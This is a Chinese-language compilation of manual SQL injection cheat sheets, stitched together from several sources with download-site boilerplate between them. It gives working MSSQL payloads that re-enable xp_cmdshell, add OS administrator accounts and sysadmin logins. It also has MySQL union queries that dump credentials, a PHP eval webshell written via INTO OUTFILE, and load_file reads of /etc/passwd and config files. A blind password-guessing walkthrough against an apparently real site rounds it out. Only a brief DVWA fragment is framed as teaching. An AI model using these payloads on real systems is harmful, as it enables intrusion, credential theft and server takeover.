sql⼿⼯注⼊语句SQL⼿⼯注⼊⼤全SQL⼿⼯注⼊⼤全前提需要⼯具:SQL Query Analyzer和SqlExec Sunx Version1.去掉xp_cmdshell扩展过程的⽅法是使⽤如下语句:if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'2.添加xp_cmdshell扩展过程的⽅法是使⽤如下语句:(1)SQL Query Analyzersp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'(2)⾸先在SqlExec Sunx Version的Format选项⾥填上%s,在CMD选项⾥输⼊sp_addextendedproc 'xp_cmdshell','xpsql70.dll'去除sp_dropextendedproc 'xp_cmdshell'(3)MSSQL2000sp_addextendedproc 'xp_cmdshell','xplog70.dll'SQL⼿⼯注⼊⽅法总结(SQL Server2005)2010-01-28 16:17---------以下以省略注⼊点⽤URL代替--(1) ******查看驱动器⽅法******-- 建表p(i为⾃动编号,a记录盘符类似"c:\",b记录可⽤字节,其它省略)URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar(255),d nvarchar(255));--URL;insert p exec xp_availablemedia;--列出所有驱动器并插⼊表pURL;and (select count(*) from p)>3;--折半法查出驱动器总数URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驱动器名(注asc(c)=67)--上⾯⼀般⽤于⽆显错情况下使⽤-------以此类推,得到所有驱动器名URL;and (select a from p where i=1)>3;--报错得到第⼀个驱动器名--上⾯⼀般⽤于显错情况下使⽤-------以此类推,得到所有驱动器名URL;;drop table p;--删除表p--(2) ******查看⽬录⽅法******URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m记录⽬录,i记录深度)URL;insert pa exec xp_dirtree ’e:’;--列出驱动器e并插⼊表paURL;and (select count(*) from pa where i>0)>-1;--折半法查出i深度URL;and (select top 1 m from pa where i=1 and m not in(select top 0 m from pa))>0;--报错得到深度i=1的第⼀个⽬录名--上⾯⼀般⽤显错且⽬录名不为数字情况下使⽤-------(得到第⼆个⽬录把"top 0"换为"top 1",换深度只换i就⾏)以此类推,得到e盘的所有⽬录URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;--折半法查出深度i=1的第⼀个⽬录名的长度URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;--折半法查出深度i=1的第⼀个⽬录名的第⼀个字符长度--上⾯⼀般⽤⽆显错情况下使⽤-------(得到第⼆个⽬录把"top 0"换为"top 1",换深度只换i就⾏)以此类推,得到e盘的所有⽬录URL;drop。
手工注入SQL
--是否存在xp_cmdshelland 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')--用xp_cmdshell执行命令;exec master..xp_cmdshell "net user name password /add"--;exec master..xp_cmdshell "net localgroup name administrators /add"----查看权限and (select IS_SRVROLEMEMBER('sysadmin'))=1-- //saand (select IS_MEMBER('db_owner'))=1-- // dboand (select IS_MEMBER('public'))=1-- //public--创建个登陆mssql的帐号;exec master.dbo.sp_addlogin name,pass;----把创建的mssql登陆帐号提升到sysadmin;exec master.dbo.sp_addsrvrolemember name,sysadmin;--有用的扩展--获得MS SQL的版本号 //mssql版本execute master..sp_msgetversion // dbo public--得到硬盘文件信息//dbo public--参数说明:目录名,目录深度,是否显示文件//读取磁盘目录和文件execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录execute master..xp_dirtree 'c:',1 //只列c:\文件夹execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件--列出服务器上所有windows本地组execute master..xp_enumgroups //dbo--得到当前sql server服务器的计算机名称//获得计算机名execute master..xp_getnetname //dbo public--列出指定目录的所有下一级子目录EXEC [master].[dbo].[xp_subdirs] 'c:\WINNT' //可以列目录--列出服务器上固定驱动器,以及每个驱动器的可用空间execute master..xp_fixeddrives //dbo public--显示系统上可用的盘符execute master..xp_availablemedia //dbo--获取某文件的相关属性execute master..xp_getfiledetails 'C:1.txt' //dbo public--统计数据库里每个表的详细情况exec sp_MSforeachtable 'sp_spaceused ''?''' //查询表//dbo public--获得每个表的记录数和容量exec sp_MSforeachtable 'select ''?''','?', 'sp_spaceused ''?''', 'SELECT count(*) FROM ? ' //dbo pubilc--更新Table1/Table2中note列为NULL的值sp_MSforeachtable 'Update ? Set note='''' Where note is null',null,null,null,' AND in (''Table1'',''Table2'')--列出服务器域名xp_ntsec_enumdomains //机器名//dbo public--停止或者启动某个服务xp_servicecontrol 'stop','schedule' //schedule是服务得名称 //dbo--用pid来停止某个执行中的程序xp_terminate_process 123 //123是pid //dbo--只列某个目录下的子目录dbo.xp_subdirs 'C:' //dbo--服务器安全模式信息xp_loginconfig //dboxp_regaddmultistringxp_regdeletekeyxp_regdeletevaluexp_regenumkeysxp_regenumvaluesxp_regreadxp_regremovemultistringxp_regwrite--将新扩展存储过程的名称注册到Microsoft? SQL Server? 上。
PHP+MySQL手工注入语句大全推荐
PHP+MySQL⼿⼯注⼊语句⼤全推荐Order by num/*and 1=1 union select 1,2,3,4,5…….n/*and 1=2 union select 1,2,3,4,5…..n/*version() database() user()不⽤猜解可⽤字段暴数据库信息(有些⽹站不适⽤):and 1=2 union all select version() /*and 1=2 union all select database() /*and 1=2 union all select user() /*Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(⼗六进制) limit 0(开始的记录,0为第⼀个开始记录),1(显⽰1条记录)—and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(⼗六进制)limit 0,1and 1=2 Union select 1,2,3,⽤户名段,5,6,7,密码段,8,9 from 表名 limit 0,1⾼级⽤法(⼀个可⽤字段显⽰两个数据内容):Union select 1,2,3concat(⽤户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1条件:1、知道站点物理路径2、有⾜够⼤的权限(可以⽤select …. from er测试)3、magic_quotes_gpc()=OFFselect ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路径' 1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20) 2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 上⾯两个是查看⼀个PHP⽂件⾥完全显⽰代码.有些时候不替换⼀些字符,如 “<” 替换成”空格” 返回的是⽹页.⽽⽆法查看到代码. 3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根⽬录 4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置⽂件 5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache⽂件 6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的⽹站 resin⽂件配置信息. 7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 8、d:\APACHE\Apache2\conf\httpd.conf 9、C:\Program Files\mysql\my.ini 10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径 11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置⽂件 12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置⽂件查看 13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看 15、 /etc/sysconfig/iptables 本看防⽕墙策略 16 、 usr/local/app/php5 b/php.ini PHP 的相当设置 17 、/etc/f MYSQL的配置⽂件 18、 /etc/redhat-release 红帽⼦的系统版本 19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的⽤户密码 20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP. 21、/usr/local/app/php5 b/php.ini //PHP相关设置 22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟⽹站设置 23、C:\Program Files\\Serv-U\ServUDaemon.ini 24、c:\windows\my.ini25、c:\boot.ini⽹站常⽤配置⽂件 config.inc.php、config.php。
信息安全技术基础:手工注入基础
手工注入-基础教程摘要:在本文中将主要介绍利用SQL手工注入,获取数据库的敏感用户数据,得到运行数据库用户的最高权限。
关键词:数据库基础;SQL语句;order by;union;1.基础知识1.1数据库介绍数据库(Database)是按照数据结构来组织、存储和管理数据的仓库,它产生于距今六十多年前,随着信息技术和市场的发展,特别是二十世纪九十年代以后,数据管理不再仅仅是存储和管理数据,而转变成用户所需要的各种数据管理的方式。
数据库有很多种类型,从最简单的存储有各种数据的表格到能够进行海量数据存储的大型数据库系统都在各个方面得到了广泛的应用。
1.2结构化查询语言(Structured Query Language)SQL 是一门ANSI 的标准计算机语言,用来访问和操作数据库系统。
SQL 语句用于取回和更新数据库中的数据。
SQL 可与数据库程序协同工作,比如MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他数据库系统。
不幸地是,存在着很多不同版本的SQL 语言,但是为了与ANSI 标准相兼容,它们必须以相似的方式共同地来支持一些主要的关键词(比如SELECT、UPDATE、DELETE、INSERT、WHERE 等等)。
2.手工注入的步骤2.1查找注入点以下均在DVWA进行测试(一款流行WEB测试平台)登陆DVWA并利用SQL Injection进行注入测试图1查找注入点输入id=1进行查询图2注入点测试输入常用测试语句“’”单引号,提示出错。
判断存在注入点图3出现数据库出错提示2.2判断列这里需要提到一个知识点,注释符。
代表注释掉注释符后的语句,即不执行。
不同数据库采用不同的注释语句,此处数据库为Mysql支持注释符“-- ”(后面需要跟空格)。
判断列需要用到order by语句,用于对结果集进行排序。
输入注入语句1' order by 2 –,返回正常。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
手工注入语法大全猜测是否存在漏洞===============================and 1=1 返回正常页面===============================and 1=2 返回错误页面===============================and 1=2 返回错误页面编号:ADODB.Field 错误‘800a0bcd‘BOF 或EOF 中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。
===============================猜表===============================and 0<>(select count(*)from admin)表名为admin 更具经验猜测admin adminuser user pass password 如返回正常则存在.===============================猜帐号数目===============================and 0<(select count(*)from admin)and 1<(select count(*)from admin)and 2<(select count(*)from admin)and 3<(select count(*)from admin)and 4<(select count(*)from admin)and 5<(select count(*)from admin)and 6<(select count(*)from admin)and 7<(select count(*)from admin)and 8<(select count(*)from admin)and 9<(select count(*)from admin)如果遇到0< 返回正确页面1<返回错误页面说明帐号数目就是1个当然啦你也可以用1> 2> 来猜===============================猜解字段名称===============================and 1=(select count(*)from admin where len(username)>0)用户字段名称(username)更具经验猜测===============================and 1=(select count(*)from admin where len(password)>0)密码字段名称(password)更具经验猜测===============================猜解各个字段的长度===============================and 1=(select count(*)from admin where len(username)>0)and 1=(select count(*)from admin where len(username)>1)and 1=(select count(*)from admin where len(username)>2)and 1=(select count(*)from admin where len(username)>3)and 1=(select count(*)from admin where len(username)>4)and 1=(select count(*)from admin where len(username)>5)and 1=(select count(*)from admin where len(username)>6)and 1=(select count(*)from admin where len(username)>7)and 1=(select count(*)from admin where len(username)>8)and 1=(select count(*)from admin where len(username)>9)下面是密码字段的长度and 1=(select count(*)from admin where len(password)>1)and 1=(select count(*)from admin where len(password)>2)and 1=(select count(*)from admin where len(password)>3)and 1=(select count(*)from admin where len(password)>4)and 1=(select count(*)from admin where len(password)>5)and 1=(select count(*)from admin where len(password)>6)and 1=(select count(*)from admin where len(password)>7)and 1=(select count(*)from admin where len(password)>8)and 1=(select count(*)from admin where len(password)>9)返回错误则正确===============================猜解字符===============================猜解用户and 1=(select count(*)from admin where left(username,1)=‘a‘)and 1=(select count(*)from admin where left(username,2)=‘ad‘)and 1=(select count(*)from admin where left(username,3)=‘adm‘)and 1=(select count(*)from admin where left(username,4)=‘admi‘)and 1=(select count(*)from admin where left(username,5)=‘admin‘)猜解密码and 1=(select count(*)from admin where left(password,1)=‘a‘)and 1=(select count(*)from admin where left(password,2)=‘ad‘)and 1=(select count(*)from admin where left(password,3)=‘adm‘)and 1=(select count(*)from admin where left(password,4)=‘admi‘)and 1=(select count(*)from admin where left(password,5)=‘admin‘)返回正常则正常===============================命令:select中文意思:选择说明:用于找出合乎条件的记录===============================加总函数:COUNT中文意思:数量说明:用于求指定的数量===============================子句:FROM中文意思:数据表说明:用于指定数据表===============================子句:where中文意思:条件说明:用于设定条件===============================运算符:AND中文意思:并且说明:逻辑且===============================TOP --取出前面的指定长度数据select top 10 * from .....===============================and 1=(select top 1 count(*)from Admin where Asc(mid(pass,5,1))=51)-- 这个查询语句可以猜解中文的用户和密码.只要大家把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.数字型手工注入:数字型手工注入站点教程:目标站点:/注入漏洞:/2s.asp?districtid=35&classificationid=17&id=60第一步:检测是否又注入点!1、’返回异常2、and 1=1 返回正常3、and 1=2 返回异常第二步:猜解数据库表名!and exists (select * from admin)返回正常说明存在admin表。
同理可以把admin换成其他的慢慢猜解数据库表名比如X_admin administrator 等第三步:猜解用户名和密码列名!and (select count (admin)from admin)>=0返回正常存在username列名!and (select count (password)from admin)>=0返回正常存在password列名!第四步:猜用户名和密码的长度!and (select top 1 len(username)from admin)>0依次将零改成1,2,3,4,5,6。
等,直到返回错误,如>5时返回错误,说明username长度为5!密码同样!第五步:猜解用户名密码and (select top 1 asc (mid(username,N,1))from admin)>0N为所猜解的长度,这里是猜解username的,从上一步得知长度为5,那么N的最大值便是5!把N从1改到5!指一个字母一个字母的猜解下面是0的修改方法,随便的,你猜解时分别改为10、20、30、40、50、60、70。
同上面一样,到那一个返回错误为止,那么第一个字母的就介于他们中间。
如:到100时返回错误,那么第一个字母就介于90---100之间,然后渐渐的减少。
把零换成99、98、97、96。
如果到96时返回正常,而97时返回错误,那么第一个字母就是97,然后用ASC码逆转换器转换一下,就可以知道这个字母是什么了!至此我们可以扫描后台了!第六步:扫描后台GooglehackingSite: inurl:admin.asp这里一般能够知道后台地址的,或则换成其他的。